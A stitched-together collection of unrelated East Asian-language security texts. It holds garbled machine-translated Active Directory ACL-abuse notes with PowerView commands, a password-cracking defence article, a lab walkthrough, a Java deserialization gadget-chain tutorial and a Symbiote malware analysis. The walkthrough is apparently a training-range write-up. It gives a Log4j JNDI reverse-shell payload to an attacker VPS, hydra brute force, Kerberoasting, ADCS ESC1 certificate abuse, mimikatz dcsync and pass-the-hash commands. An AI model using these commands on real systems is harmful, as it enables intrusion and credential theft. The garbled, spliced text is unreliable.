「自己（自己メンバーシップ）」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty（selfmembership）」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要：それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty（selfmembership）」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己（自己メンバーシップ）」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。 forcechangepassword forcechangepasswordユーザーアカウントへの権限 制御されたアカウントが、ターゲットアカウントのACLに「ユーザーフォースチェンジパスワード」オブジェクトタイプであり、「拡張」許可を持つ場合、ユーザーの現在のパスワードを知らずにユーザーのパスワードをリセットできます。 PowerShell -Execバイパス Import-Module。\ PowerView.ps1 get -objectacl -samaccountName Delegate -ResolveGuids | ？ {$ _。識別reference -eq 'obsent \ spotless'} ツールPowerViewを使用して、パスワードを変更します。 set -domainuserpassword-アイデンティティデリゲート-verbose または、次のステートメントを使用します $ c=get-credential set -domainuserpassword -identity Delegate -AccountPassword $ c.Password -verbose または単一行の文に要約されています set -domainuserpassword -identity Delegate -AccountPassWord（convertto secureString '123456' -Asplaintext -force）-verbose 書き込み所有者 ユーザーグループへの書き込み所有者 攻撃が実行される前に、ドメイン管理者の所有者はドメイン管理者でした。 特定のグループのACEを列挙した後、コントロールの下にあるユーザーが「書き込み所有者」の許可を持っており、その許可が「ObjectType:all」に適用されることがわかった場合、グループの所有者を変更できます。 get -objectacl -ResolveGuids | ？ {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'} 「ドメイン管理者」オブジェクトの所有者をユーザーに変更することができます。ユーザーは「sketless」です。 「 - アイデンティティ」で指定されたSIDは、「ドメイン管理者」グループのSIDであることに注意する必要があります。 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -Owneridentity「Spotless」-verbose //SIDの名前Instad（HTB:リール）も使用できます set -domainObjectOwner -Identity 'Domain Admins' -OwnerIdentity「Spotless」 genericwrite genericwriteもアクセスマスクで識別されます。この許可は、ターゲットオブジェクトのプロパティ値を更新できます。 PowerViewのSet-DomainObjectメソッドを使用して、ターゲットプロパティの値を設定できます。 genericwriteユーザーアカウントへの許可 get -objectacl -ResolveGuids -SamacCountName Delegate | ？ {$ _。識別reference -eq 'obsent \ spotless'} 制御されたユーザーSpotlessは、別のユーザー委任者に「WriteProperty」許可を持っています。この許可は、「スクリプトパス」オブジェクトタイプに適用されます。これにより、攻撃者はDelegateユーザーのログインスクリプトパスを上書きすることができます。つまり、デリゲートユーザーが次にログインすると、システムが悪意のあるスクリプトを実行します。 set -adobject -samaccountname delegate -propertyname scriptpath -propertyvalue '\\ 10.0.0.5 \ lettherlegitscript.ps1' DelegateユーザーのログインスクリプトフィールドがADで更新されていることがわかります。 ユーザーグループへのgenericwriteアクセス許可 を使用すると、グループのメンバーとして新しいユーザー（自分など）を追加できます。上記の《GenericAll-对用户组的GenericAll权限》操作に似ています。 https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse ＃クレジットを作成します $ pwd=convertto -securestring 'justaweirdpwd！$' -asplaintext -force $ creds=new-object System.management.automation.pscredential（ 'domain \ username'、$ pwd） ＃ユーザーをグループに追加します Add -DomaIngroupMember -Credential $ creds -Identity 'Group name' -members 'username' -verbose ＃ユーザーはそうでした

惡意行為者通常以用戶和管理員憑據為目標，因為黑客希望使用它們來訪問敏感數據。據Verizon 稱，在2021 年受到社會工程攻擊的數據中，憑據攻擊佔高達85%。為了竊取用戶憑據，黑客可以使用惡意軟件或各種密碼破解方法。 密碼策略薄弱和密碼破解缺乏保護是導致帳戶洩露的兩個最常見的漏洞。 在本文中，我們討論了密碼破解的危險，並提供了減少惡意身份驗證嘗試的最佳實踐。我們還探討了Fail2ban 服務如何幫助您保護對用戶帳戶的訪問，並提供有關如何配置Fail2ban 的分步指南，並分享我們自己在Viber 聊天機器人中配置Fail2ban 通知的經驗。 什麼是密碼破解？要訪問Web 應用程序，用戶需要在系統內創建配置文件。為此，用戶通常會創建一個登錄名和密碼作為保護帳戶訪問的憑據。根據應用程序類型，他們可能還必須提供其他數據，例如個人信息、消息和銀行賬戶。所有這些數據對威脅參與者都很有價值，他們可以嘗試使用各種密碼竊取方法從不同的應用程序訪問用戶配置文件。 在開發Web 應用程序時，必須牢記密碼被盜的風險並實施強大的安全機制來減輕這些風險。否則，如果攻擊者設法訪問用戶帳戶並暴露個人信息，Web 應用程序提供商可能會面臨客戶流失和聲譽受損等後果。如果用戶決定將案件告上法庭，他們也可能承擔經濟損失。 密碼破解的後果 竊取用戶數據的一種方法是密碼破解。 這種方法的主要目標是猜測應用程序或計算機服務的密碼。該技術本身並不一定是惡意的，它可以作為一種目標漏洞驗證技術用於安全測試。 密碼破解是從存儲在計算機系統中或通過網絡傳輸的密碼哈希中恢復密碼的過程。它通常在評估期間執行，以識別密碼較弱的帳戶。 ——NIST SP 800-115信息安全測試和評估技術指南 在應用密碼破解技術時，黑客經常使用特殊的應用程序和工具來應用多種憑證變體，直到找到正確的配對。密碼破解應用程序每秒用於猜測密碼的憑據數量取決於攻擊者計算機的性能。此外，猜測用戶密碼所需的時間取決於密碼強度。 有多種密碼破解方法： 密碼破解攻擊的類型 字典攻擊是一種通過系統地輸入字典中的每個單詞作為密碼來訪問IT 資源的方法。黑客經常使用破解字典，其中存儲了常用的密碼和熟悉的單詞，例如不同語言的名稱和地點。此類字典還可以包括黑客收集和添加的先前被盜的用戶憑據。字典攻擊是猜測弱密碼的一種快速方法，但通常對於不常見的強密碼它們不會成功。 蠻力攻擊是一種簡單的試錯法，專注於生成所有可能的密碼，直到一定長度。黑客檢查所有密碼組合，包括所有字母、數字和特殊符號的組合，從可能的最小密碼長度開始。可能的組合數量取決於密碼的長度。理論上，這種破解方法的成功率是100%。這只是時間問題，因為短密碼可以在幾分鐘內猜出，而非常長且複雜的密碼可能需要數十年才能破解。 彩虹攻擊。大多數應用程序使用哈希對用戶密碼進行加密，並以加密形式存儲它們。黑客使用存儲預先計算的密碼哈希的彩虹表來破解數據庫中的密碼哈希。 網絡釣魚。通過網絡釣魚，攻擊者誘騙用戶單擊電子郵件附件或URL 鏈接，導致他們登錄到虛假版本的Web 應用程序並洩露他們的密碼。 反向蠻力。惡意行為者對多個用戶名使用通用密碼來訪問帳戶。 憑證填充。如果黑客知道被盜帳戶的用戶名和密碼，他們可以嘗試在該用戶可能擁有帳戶的多個系統中使用此組合。根據Security eMagazine的數據，53% 的人承認為不同的帳戶使用相同的密碼。 希望攻擊者無法破解您的Web 應用程序用戶的密碼不是一種選擇。因此，讓我們探討如何保護用戶數據免遭密碼破解並減輕帳戶洩露的網絡安全風險。 保護您的Web 應用程序免受密碼破解的7 種方法為了保護您的產品的用戶帳戶不被盜用，您需要實施一種綜合方法。下面，我們將討論緩解密碼破解的七種最必要的網絡安全實踐。 保護您的Web 應用程序免受密碼破解的7 種方法 1. 引入嚴格的密碼管理政策密碼越複雜，黑客破解它們的難度就越大。確保您的開發人員配置您的應用程序的密碼規則，以防止用戶創建弱憑據。 創建密碼規則列表時，請考慮研究頂級技術組織推薦和使用的內容。例如，您可以查看NIST 特別出版物800-63-3 數字身份指南中的密碼策略建議，並了解Microsoft 365和IBM Security Privileged Identity Manager等可靠產品推薦的密碼安全性。 密碼策略的常見最佳實踐包括： 马云惹不起马云密碼應包含特殊符號、數字以及小寫和大寫字母。 马云惹不起马云最小密碼長度應為八個符號。越長越好。 马云惹不起马云密碼應在指定時間段內過期和更改：每月一次、每三個月一次、每年兩次等。 马云惹不起马云您的應用程序應該有密碼歷史記錄，以便當用戶更改密碼時，它可以根據所有以前的密碼檢查新密碼。只有當它實際上是新密碼時，才應批准新密碼。 2.更改管理帳戶名稱避免使用“administrator”、“admin”或“root”等管理帳戶的明顯用戶名。此類用戶名很可能成為威脅行為者發起密碼破解攻擊時的第一個目標。 3.啟用多因素身份驗證使用多重身份驗證(MFA) 保護用戶對您的應用程序的訪問。此類身份驗證工具使用戶在登錄應用程序之前執行兩個或多個步驟。 第一步通常需要傳統的登錄名和密碼。在以下步驟中，可能會要求用戶輸入SMS 中的安全代碼、使用令牌、提供指紋等。 即使威脅者成功猜出憑據，MFA 也將成為訪問用戶帳戶的另一個障礙。 4.建立用戶活動監控考慮將用戶活動監控解決方案作為Web 應用程序安全性的一部分。此類解決方案會收集有關您的基礎架構內所有用戶活動的信息，因此如果發生可能是密碼破解攻擊跡象的異常用戶行為，您可以發現它。 用戶監控解決方案通常與人工智能驅動的訪問控制工具等複雜軟件一起使用，這些軟件可以分析收集的用戶活動數據、檢測異常情況，並阻止可疑的登錄嘗試或通知安全工程師潛在的威脅。 例如，此類解決方案可以保存設備詳細信息和用戶機器的IP 地址。如果有人嘗試從不同的IP 地址或設備登錄，訪問控制工具可以應用其他MFA 方法或限制訪問。 5. 將對服務器的遠程訪問限制為受信任的IP您的管理員和工程師帳戶也可能遭受密碼破解攻擊。因此，請確保僅對受信任的IP 地址啟用對服務器的遠程訪問。 例如，您可以提供對在日常工作中需要訪問服務器的工程師的IP 地址的訪問權限。為此，您可以使用防火牆（如果您使用雲提供商服務，則可以使用安全組）。 6.為工程師啟用安全密鑰需要遠程訪問服務器的工程師應該生成安全密鑰。例如，這些可能是用於SSH 訪問的SSH 密鑰。這樣，管理員可以安全地遠程連接到服務器或其他機器，而無需使用登錄名和密碼。 SSH 密鑰身份驗證可保護對服務器的訪問並加密客戶端和服務器之間傳輸的流量。 另一種無密碼訪問服務器的方法是使用硬件安全密鑰，如FIDO2或Google Titan。這些是可以用來代替常見身份驗證方法的USB 設備。 在這種情況下，應禁用使用登錄名和密碼訪問服務器。應僅允許密鑰持有者訪問。如果密碼不存在，則無法破解密碼。 7.使用密碼破解保護服務最後但並非最不重要的一點是，有一些特殊工具旨在保護服務免受密碼破解。 通常，此類工具會自動掃描登錄嘗試並阻止顯示惡意跡象的IP 地址，例如密碼失敗次數過多。這些工具中最受歡迎的是： 马云惹不起马云 SSH衛士 马云惹不起马云IPBan Pro 马云惹不起马云間諜日誌 马云惹不起马云Fail2ban 在Apriorit，我們更喜歡使用Fail2ban，因為它使用方便並且可以有效阻止潛在的惡意身份驗證嘗試。讓我們仔細看看Fail2ban 並討論如何在實踐中配置和使用它。 本文講述了保護您的Web 應用程序免受密碼破解的幾種方法，下文我們將介紹什麼是Fail2ban，以及它是如何工作的？

说明Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。 技术Solr、AD CS、SMB、Kerberos、域渗透 第一个flaglog4j RCE扫描外网IP 发现solr存在log4j的组件，测试是否存在rce GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1 Host: 47.92.113.194:8983 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://47.92.113.194:8983/solr/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Connection: closednslog回显 JNDI反弹shell，在VPS上开启 # 加载恶意类 java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx #开启监听 nc -lvvp 5555payload ${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}发送请求 GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1 Host: 47.92.113.194:8983 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://47.92.113.194:8983/solr/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Connection: close成功反弹shell sudo提权 sudo -lsudo grc --helpsudo grc --pty whoami查找flag sudo grc --pty find / -name flag*输出flag sudo grc --pty cat /root/flag/flag01.txt第二个flag内网渗透出口机器上代理，并扫描内网，具体就不赘述了(架设http服务，wget 下载npc和fscan) 172.22.9.13:445 open 172.22.9.26:445 open 172.22.9.47:445 open 172.22.9.7:445 open 172.22.9.26:139 open 172.22.9.47:139 open 172.22.9.7:139 open 172.22.9.26:135 open 172.22.9.13:139 open 172.22.9.13:135 open 172.22.9.7:135 open 172.22.9.26:80 open 172.22.9.47:80 open 172.22.9.19:80 open 172.22.9.47:22 open 172.22.9.47:21 open 172.22.9.19:22 open 172.22.9.7:88 open 172.22.9.19:8983 open [+] NetInfo: [*]172.22.9.13 [->]CA01 [->]172.22.9.13 [*] 172.22.9.7 [+]DC XIAORANG\XIAORANG-DC [*] 172.22.9.26 XIAORANG\DESKTOP-CBKTVMO [+] NetInfo: [*]172.22.9.26 [->]DESKTOP-CBKTVMO [->]172.22.9.26 [+] NetInfo: [*]172.22.9.7 [->]XIAORANG-DC [->]172.22.9.7 [*] 172.22.9.13 XIAORANG\CA01 [*] WebTitle:http://172.22.9.47 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works [*] WebTitle:http://172.22.9.19 code:200 len:612 title:Welcome to nginx! [*] 172.22.9.47 WORKGROUP\FILESERVER Windows 6.1 [*] 172.22.9.47 (Windows 6.1) [*] WebTitle:http://172.22.9.19:8983 code:302 len:0 title:None 跳转url: http://172.22.9.19:8983/solr/ [*] WebTitle:http://172.22.9.26 code:200 len:703 title:IIS Windows Server [*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555 title:Solr Admin发现以下资产 172.22.9.19 入口IP 172.22.9.7 DC 172.22.9.26 域成员 172.22.9.47 文件服务器 172.22.9.13 CA根据提示，文件服务器应该存在smb的共享，进一步收集信息 注意：fscan不扫描smb的共享模式，所以可以采用nmap来扫描 sudo grc --pty nmap -sT -A 172.22.9.47使用 smbclient 连接共享 proxychains smbclient \\\\172.22.9.47\\fileshare dir get personnel.db get secret\flag02.txt获得falg02，还有一段提示 you have enumerated smb. But do you know what an SPN is? 第三个flag数据库文件中有几个用户名和密码 rdp破解 proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns获得了两个账号，但是无法远程登录 Kerberoast攻击使用GetUserSPNs.py寻找注册在域用户下的SPN proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjianhash 离线破解，速度很快，1.txt 是hash值，rockyou.txt 是kali自带的密码本 hashcat64.exe -m 13100 1.txt rockyou.txt得到zhangxia/MyPass2@@6，使用账号密码远程登录即可 注意，因为是域账号所以用户名为 zhangxia@xiaorang.lab，登录完成后并不能直接访问administrator的目录查找flag，因为不是管理员权限 ADCS ESC1使用Certify.exe定位漏洞 Certify.exe find /vulnerableESC1利用前提条件： msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT 表示基于此证书模板申请新证书的用户可以为其他用户申请证书，即任何用户，包括域管理员用户 PkiExtendedKeyUsage: Client Authentication 表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证 Enrollment Rights: NT Authority\Authenticated Users 表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书 ‍ 为域管申请证书 Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator 转换格式 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx请求TGT、PTT 因为导出证书转换的时候并没有输入密码，所以这里密码留空就行 Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt获取到域管的票据后导出哈希 mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit哈希传递PTH 172.22.9.26 proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"第四个flagPTH DC proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 原文链接： https://zhuanlan.zhihu.com/p/581487685

0x01 前言我們通常把反序列化漏洞和反序列化利用鏈分開來看，有反序列化漏洞不一定有反序列化利用鏈（經常用shiro反序列化工具的人一定遇到過一種場景就是找到了key，但是找不到gadget，這也就是在這種場景下沒有可利用的反序列化利用鏈）。如果我們向某個漏洞提交平台提交一個反序列化漏洞，但是不給反序列化利用鏈，那麼平台大概率是不會接受這種漏洞的。 反序列化利用鍊是整個反序列化利用過程中最關鍵的一環，通常反序列化利用鏈需要藉助常用的第三方jar包，其中最有名的就是CommonCollections利用鏈（簡稱CC鏈）。 往期推薦 1、告別腳本小子系列丨JAVA安全(1)——JAVA本地調試和遠程調試技巧 2、告別腳本小子系列丨JAVA安全(2)——JAVA反編譯技巧 3、告別腳本小子系列丨JAVA安全(3)——JAVA反射機制 4、告別腳本小子系列丨JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析 5、告別腳本小子系列丨JAVA安全(5)——序列化與反序列化 0x02反序列化環境準備為了更方便初學者來學習反序列化利用鏈，我們首先要準備當前需要的實驗環境。學習反序列化利用鏈最好的辦法是參考ysoserial(https://github.com/frohoff/ysoserial)，ysoserial是一個開源的集成化反序列化利用鏈工具，可以快速生成反序列化利用鏈payload。 如果是不追求細節的小伙伴，可以直接按照參照ysoserial使用文檔來生成payload，如下圖所示。 本文的主要目的是教會小伙伴們告別腳本小子，所以就不直接使用編譯好的jar包，但是我們後面很多利用代碼會參考ysoserial中的代碼，ysoserial中關於反序列化利用鏈的代碼都在ysoserial.payloads包中。 我們的目的是不通過ysoserial框架，自己實現相應的反序列化利用鏈。我們搭建反序列化測試的基礎環境，新建maven項目，添加項目依賴的jar包。 為了模擬序列化和反序列化的過程，編寫兩個公用的靜態方法，這兩個方法將在後面的反序列化利用鏈中被多次使用。其中searialize方法的作用是把對象obj序列化之後保存到文件filename中，unserialize方法的作用是把文件filename中的數據讀出來反序列化為對象。 通過讀寫文件來模擬序列化和反序列化的過程是最直觀的實現方式，但是在實際環境中，我們遇到的都是基於POST輸入的字符輸入流來進行反序列化，如下圖所示。本地讀寫文件的反序列化和基於POST輸入字符的反序列化是完全沒有區別的，所以我們後面在研究反序列化利用鏈的時候都是通過本地文件讀寫的方式來實現，而不會準備專門的WEB漏洞環境。 某系統反序列化漏洞實例 0x03 反序列化利用鏈0x3.1 URLDNS利用鏈URLDNS鍊是JAVA眾多利用鏈中最簡單的一條利用鏈，非常適合初學者研究學習，具有下面的特點： 1）利用鏈只依賴jdk本身提供的類，不依賴其他第三方類，所以具有很高的通用性，可以用於判斷目標是否存在反序列化漏洞。 2）利用鏈本身只能執行域名解析的操作，不能執行系統命令或者其他惡意操作。如果向漏洞提交平台提交反序列化漏洞，但是利用鍊是URLDNS的利用鏈，那麼漏洞提交平台可能會拒絕這個漏洞。 Ysoserial中關於URLDNS鏈的主要代碼如下圖3.1.1，圖3.1.2所示。這裡面有一個很關鍵的點是使用了自定義的SilentURLStreamHandler類，為什麼要使用這個自定義的類，我將在後面說明原因。 圖3.1.1 生成URLDNS利用鏈對象 圖3.1.2 自定義SilentURLStreamHandler類 我們先把ysoserial的代碼搬運到本地，做一名合格的搬運工。直接搬運過來之後運行payload可以查看到DNSLOG的日誌，證明搬運工沒有問題了。搬運過來之後需要去掉ysoserial中的反射調用，我們這裡沒有Reflections類，所以自己寫關於反射調用的代碼，如圖3.1.3所示，運行結果如圖3.1.4所示 圖3.1.3 本地引用URLDNS利用鏈 圖3.1.4 運行之後可以在DNSLOG查看DNS請求日誌 為了理清楚利用鏈的整個流程，我們在java.net. URLStreamHandler類的getHostAddress方法中下斷點調試一下，如圖3.1.5所示。 圖3.1.5 下斷點調試URLDNS利用鏈 運行整個payload，根據debug查看棧調用情況，如圖3.1.6所示。其中最關鍵的紅色的框中的部分，可以看出整個利用鏈非常簡單。 圖3.1.6 URLDNS利用鏈的棧調用情況 首先反序列化入口是在HashMap的readObject，在這個方法中會調用本類的hash方法，如圖3.1.7所示。 圖3.1.7 在HashMap的readObject方法中調用HashMap的hash方法 繼續跟進hash方法，在這個方法中會調用key的hashCode方法。 Key對應的值是java.net.URL類的對象，如圖3.1.8所示。 圖3.1.8 通過hash方法調用URL類的hashCode方法 繼續跟進會調用java.net.URL類的hashCode方法,會調用handler字段的hashCode方法。而handler定義來自於URLStreamHandler類，所以會調用URLStreamHandler類的handler方法，如圖3.1.9所示。 圖3.1.9 URL類的hashCode方法調用URLStreamHandler類的hashCode方法 繼續跟進java.net.URLStreamHandler類的hashCode方法，如圖3.1.10所示。這裡可以看出裡面就直接調用了getHostAddress方法，該方法執行之後會進行域名到IP地址的解析請求。 圖3.1.10 最終調用了域名解析相關的方法getHostAddress方法 到這裡已經看完了整個調用棧的流程，但是還是沒有找到任何理由必須要用自定義的SilentURLStreamHandler類。為了理清楚原因，我們對原來的payload進行修改，去除自定義的SilentURLStreamHandler類，如圖3.1.11所示。 圖3.1.11 修改後的URLDNS利用鏈 還是在java.net. URLStreamHandler類的getHostAddress方法中下斷點。可以看到整個棧調用情況如圖3.1.12所示。可以看出觸發getHostAddress方法的入口點是從generalURLDNS2這個方法，而不是unserialize方法，也就是在生成序列化對象的時候就已經觸發了域名解析的請求。由於JAVA內部對DNS請求存在緩存機制，那麼在反序列化的時候會優先從DNS緩存中查找域名解析記錄，那麼反序列化的時候就收不到正確的DNS請求數據。 圖3.1.12 修改後的URLDNS利用鏈 我們跟一下在生成payload時候觸發getHostAddress的流程，其中最關鍵的是執行HashMap中的put方法，如圖3.1.13所示。 圖3.1.13 URLDNS利用鏈生成對象時調用HashMap的put方法 跟踪put方法的定義，如圖3.1.14所示。裡面會調用hash方法 圖3.1.14 HashMap的put方法會調用本類的hash方法 剩下的流程和上面分析調用棧一樣，最終會導致觸發執行getHostAddress方法。 為了避免在生成payload的時候觸發DNS請求，影響反序列化時DNS請求的執行。有兩種解決辦法。 1）第一種就是像ysoserial代碼中的方式一樣，定義一個類繼承自URLStreamHandler，並且在類中重寫getHostAddress等方法，使得在序列化的時候不會執行getHostAddress方法。 2）第二種辦法是通過通過java.net.URL類中的hashCode方法中的邏輯來避免執行後續的getHostAddress方法。 第一種方法在ysoserial的代碼中已經寫很清楚了，這裡主要再說一下第二種方式。在整個利用鏈中一個很重要的步驟是會調用java.net.URL類中的hashCode方法。如圖3.1.15所示。 圖3.1.15 java.net.URL類中的hashCode方法代碼邏輯 這裡有一個很重要的判斷語句是，如果hashCode不等於-1，則直接返回對應hashCode的值，否則調用hashCode方法計算對應的值。這裡需要特別注意的一點是這裡的hashCode既是java.net.URL類的方法，也是java.net.URL類的字段。所以我們需要 1）第一次put的時候把hashCode字段設置為不是-1的值，避免運行下面的handler.hashCode(this)。 2）生成序列化對象的時候又需要把hashCode字段設置為-1，因為反序列化的時候需要運行下面的handler.hashCode(this)。 所以我們也可以通過反射修改hashCode字段的方式來避免在序列化的時候觸發DNS請求，再次修改後的代碼如圖3.1.16所示。這裡最主要的是增加了通過反射修改hashCode字段的操作。 圖3.1.16 通過控制hashCode字段避免序列化時候觸發DNS請求 這樣之後也能達到和ysoserial代碼一樣的效果。也能正常觸發URLDNS的請求，如圖3.1.17所示。 圖3.1.17 通過修改的payload觸發URLDNS鏈的DNS請求 0x3.2CC鏈CC鍊是最早出現的影響較大的java反序列化利用鏈，原作者一共給出7條利用鏈，但是後來有很多大牛在此基礎上給出了一些改進的利用鏈，對初學者而言，學習CC鍊是屬於學習JAVA反序列化利用鏈的重要基礎。 關於CC鏈的內容很多，限於篇幅有限，這次的文章先開頭對部分CC鏈進行講解，關於CC鏈的更多內容將在下一篇文章中詳述。本次我們主要先講關於CC鏈中的Transform鏈。 在學習Transform鏈之前，首先需要說明JAVA中命令執行的方式。 JAVA中最典型的運行操作系統命令的辦法是通過Runtime類來執行，如圖3.2.1所示。 圖3.2.1 JAVA中執行系統命令的方式 但是在反序列化的過程中不能直接通過Runtime來執行，因為Runtime類沒有繼承Serializable接口，如圖3.2.2所示。 圖3.2.2 Runtime類沒有繼承Serializable接口 但是我們可以通過反射的方式來調用Runtime類執行，並且裡面涉及到的全部類都繼承了Serializable接口，如圖3.2.3所示。這裡有一個坑是，通過反射來執行方法的返回值類型一定是Object類型，需要做強制類型轉換，把Objectl類型轉化為Runtime類型。後續的Transform利用鏈基本上都是通過執行這段代碼來執行系統命令的。 圖3.2.3 通過反射的方式來執行Runtime類的exec方法 嚴格來說Transform鏈屬於整個CC鏈中的Sink點，CC鏈基本上都是通過Transform來最終執行系統命令的。學習Tranform鍊是掌握CC鏈的基礎前提，最典型的Transform鏈如圖3.2.4所示。 圖3.2.4 典型Transform鏈運行情況 直接運行上面的代碼是可以彈出計算器的，多數CC鏈最終也是通過調用類似的代碼來執行系統命令。為了理解Transforml鏈的內容，需要分開來看裡面涉及到的幾個類：InvokerTransformer類、ConstantTransformer類和ChainedTransformer類。 在InvokerTransformer類中，最主要的是transform方法。該方法中通過反射的方式執行任意一個類的方式，如圖3.2.5所示。 Transform執行的方法必須是public修飾符的。 圖3.2.5 通過InvokerTransformer類的transform方法執行任意public方法 InvokerTransformer類的transform方法提供了一種執行任意其他方法的路徑，我們寫一個簡單的例子來幫助大家理解transform方法，如圖3.2.6所示。定義一個類TEST，類中定義一個方法Hello，那麼我們就可以通過tranform方法來執行TEST類的Hello方法。 圖3.2.6 典型的transform方法調用 可能有的小伙伴會疑惑，我要執行Hello，為什麼不直接調用，非要通過transform來調用呢？試想一下，如果我們要執行的是“Runtime.getRuntime()”這樣的方法，但是整個系統中都沒有任何地方直接調用了這個，那麼我們是不是就可以通過transform來間接的執行這個方法呢。 但是現在通過transform來執行方法還有一個很明顯的不足，就是只能執行單個對象的單個方法，不能鍊式調用。形像一點來說明這個問題，我們可以執行”Runtime.getRuntim()”，但是我們不能執行“Runtime.getRuntime().exec(xxxx)”。我們需要找到鍊式調用的方式，幸運的是CommonsCollections中提供了另一個類ChainedTransformer。 ChainedTransformer類中提供了鍊式調用transform方法的辦法，如圖3.2.7所示。 ChainedTransformer類的構造方法是傳入Transformer類型的數組，通過transform方法依次遍歷數組中的每一個元素，上一步的方法調用的輸出作為下一步的方法調用的輸入，完美的鍊式調用解決辦法。

幾個月前，Intezer的安全研究人員Joakim Kennedy和BlackBerry威脅研究與情報團隊發現了一種新出現的且從未被檢測到的Linux惡意軟件，研究人員已將其命名為Symbiote。 Symbiote 與通常遇到的其他Linux 惡意軟件的不同，它需要感染其他正在運行的進程才能對受感染的設備發起攻擊。它不是一個運行以感染設備的獨立可執行文件，而是一個共享對象(SO) 庫，它使用LD_PRELOAD (T1574.006) 加載到所有正在運行的進程中，然後通過寄生的方式潛入設備實施攻擊。一旦它感染了所有正在運行的進程，它就會獲得攻擊目標的rootkit 功能、獲取憑證的能力和遠程訪問能力。 LD_PRELOAD是Linux系統的一個環境變量，它可以影響程序的運行時的鏈接（Runtime linker），它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量，我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫，甚至覆蓋正常的函數庫。一方面，我們可以以此功能來使用自己的或是更好的函數（無需別人的源碼），而另一方面，我們也可以以向別人的程序注入程序，從而達到特定的目的。 Symbiote的首次出現最早發現Symbiote 是在2021 年11 月，它似乎是針對拉丁美洲的金融部門而編寫的。一旦感染成功，它就會隱藏起來。由於惡意軟件隱藏了所有文件、進程和網絡構件，因此在受感染的設備上執行實時取證可能不會發現任何問題。除了rootkit 功能外，該惡意軟件還為攻擊者提供了一個後門，以使用硬編碼密碼以設備上的任何用戶身份登錄，並以最高權限執行命令。 截止發稿時，研究人員還未找到足夠的證據來確定Symbiote 是否被用於高度針對性或廣泛的攻擊。 Symbiote 的一個特殊之處是其Berkeley Packet Filter (BPF) 掛鉤功能。 Symbiote 並不是第一個使用BPF 的Linux 惡意軟件。例如， 方程式組織（Equation Group）開發的高級後門一直在使用BPF 進行隱蔽通信。然而，Symbiote 利用BPF 隱藏受感染設備上的惡意網絡流量。當管理員在受感染的設備上啟動任何數據包捕獲工具時，BPF 字節碼被注入內核，定義應該捕獲哪些數據包。在這個過程中，Symbiote 首先添加它的字節碼，這樣它就可以過濾掉它不希望數據包捕獲軟件看到的網絡流量。 逃避檢測Symbiote非常隱蔽，該惡意軟件被設計為通過LD_PRELOAD指令由鏈接器加載。這允許它在任何其他共享對象之前加載。由於它首先被加載，才可以從為應用程序加載的其他庫文件中“劫持導入”。 Symbiote 使用它通過掛鉤libc 和libpcap 函數來隱藏它在設備上的存在。逃避檢測過程如下圖所示。 Symbiote逃避檢測技術 Host 活動Symbiote 惡意軟件除了隱藏自己在設備上的存在外，還隱藏與可能與其一起部署的惡意軟件相關的其他文件。在二進製文件中，有一個RC4 加密的文件列表。調用掛鉤函數時，惡意軟件首先會動態加載libc 並調用原始函數。此邏輯用於所有掛鉤函數。具體示例如下圖所示。 從libc 解析readdir 的邏輯 如果調用應用程序試圖訪問/proc 下的文件或文件夾，惡意軟件會刪除其列表中進程名稱的輸出。下面列表中的進程名稱是從我們發現的樣本中提取的。 